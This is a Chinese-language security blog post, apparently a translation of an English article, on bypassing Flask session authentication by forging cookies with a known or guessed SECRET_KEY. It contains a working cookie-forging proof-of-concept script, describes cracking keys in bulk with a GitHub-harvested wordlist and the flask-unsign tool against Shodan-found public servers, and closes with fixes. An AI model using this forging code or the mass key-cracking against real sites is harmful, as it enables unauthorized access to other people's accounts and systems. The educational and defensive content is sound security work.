通过secretkey 绕过flask的session认证

前言

最近读到一篇英文文章，甚是有趣，所以想把关键内容提取并翻译出来，记录自己学习的同时也方便他人阅读，原文 地址 。

0x00 漏洞细节

一般来说，安全的session存储，客户端的cookie应该是不可读的，但flask的cookie却不完全是这样，这里直接贴原作者的图。

通过.隔开的3段内容，第一段其实就是base64 encode后的内容，但去掉了填充用的等号，若decode失败，自己需要补上1-3个等号补全。中间内容为时间戳，在flask中时间戳若超过31天则视为无效。最后一段则是安全签名，将sessiondata,时间戳，和flask的secretkey通过sha1运算的结果。

服务端每次收到cookie后，会将cookie中前两段取出和secretkey做sha1运算，若结果与cookie第三段不一致则视为无效。

0x01 示例代码

说这么多不如打一梭子来的舒服，首选是server端代码，这里也直接照搬代码了：

from flask import Flask, session


app = Flask(__name__)
app.config['SECRET_KEY'] = 'xiaomi.sec'


@app.route('/')
def index():
    if 'logged_in' not in session:
        session['logged_in'] = False

    if session['logged_in']:
        return '<h1>You are logged in!</h1>'
    else:
        return '<h1>Access Denied</h1>', 403


if __name__ == '__main__':
    app.run()

直接访问如图：

poc代码：

import hashlib

from flask.json.tag import TaggedJSONSerializer
from itsdangerous import *


session = {'logged_in': True}
secret = 'xiaomi.sec'

print(URLSafeSerializer(secret_key=secret,
                        salt='cookie-session',#Flask固定的盐，盐和secret会先经过一轮sha1运算，其结果作为下一轮盐和cookie内容生成签名。
                        serializer=TaggedJSONSerializer(),
                        signer=TimestampSigner,
                        signer_kwargs={
                            'key_derivation': 'hmac',
                            'digest_method': hashlib.sha1
                        }
                        ).dumps(session))

这里需要安装pip itsdangerous库，里面已经实现了cookie的生成方式。

修改cookie后结果如下:

深入利用

原作者的深入思考也非常值得学习，分为获取secretkey字典，以及利用字典自动化测试。

万能的github

github肯定是有最多secretkey的地方，大多数人也不会专门去修改secretkey，原作者通过爬取并正则匹配获取了37000多个不同的secretkey，正则如下：

自动化测试

这里作者写了个很不错的 python 库，获取服务端请求头中cookie后自动破解secretkey，然后修改cookie内容并重新签名。

安装方式

pip install flask-unsign[wordlist] #自带字典版本
pip install flask-unsign#无字典版本

然后是公网批量验证，做过的朋友都知道，类似flask的指纹很好确定，但实际环境上，flask可能在一层nginx后面，类似这种情况的确很难有效判别后端程序是什么。

不过原作者还是通过shodan的搜索结果成功破解了不少目标：

寻找使用werkzeug的python WSGI且返回头的设置cookie有类似session=的内容。破解结果如下：

使用最多的secretkey:

修复方案

1、漏洞的根源是secretkey被获取，应当使用完全随机的secretkey，或在clone某项目后修改为随机的key。

2、使用flask_session，使cookie不可读。

原作者的正确代码示例:

# Requirements: Flask, Flask-Session
import os
from flask import Flask, session
from flask_session import Session


app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(64)
app.config['SESSION_TYPE'] = 'filesystem'

Session(app)


@app.route('/')
def index():
    if 'logged_in' not in session:
        session['logged_in'] = False

    if session['logged_in']:
        return '<h1>You are logged in!</h1>'
    else:
        return '<h1>Access Denied</h1>', 403


if __name__ == '__main__':
    app.run()

反思

1、cookie部分可读这点的发现挺重要的，而flask还专门将多出来的等于号去掉了，若不添加可能都无法正常decode，以后的测试过程中感觉可以注意一下类似的细节。

2、利用github生成字典。这一点的思维很棒，而且发散开来，其实不少其他字典的生成都能通过爬取github关键字来得到，例如匹配路由设置代码，来生成路径的字典？我想大家的点子一定比我多，如果有想实现的，随时欢迎交流。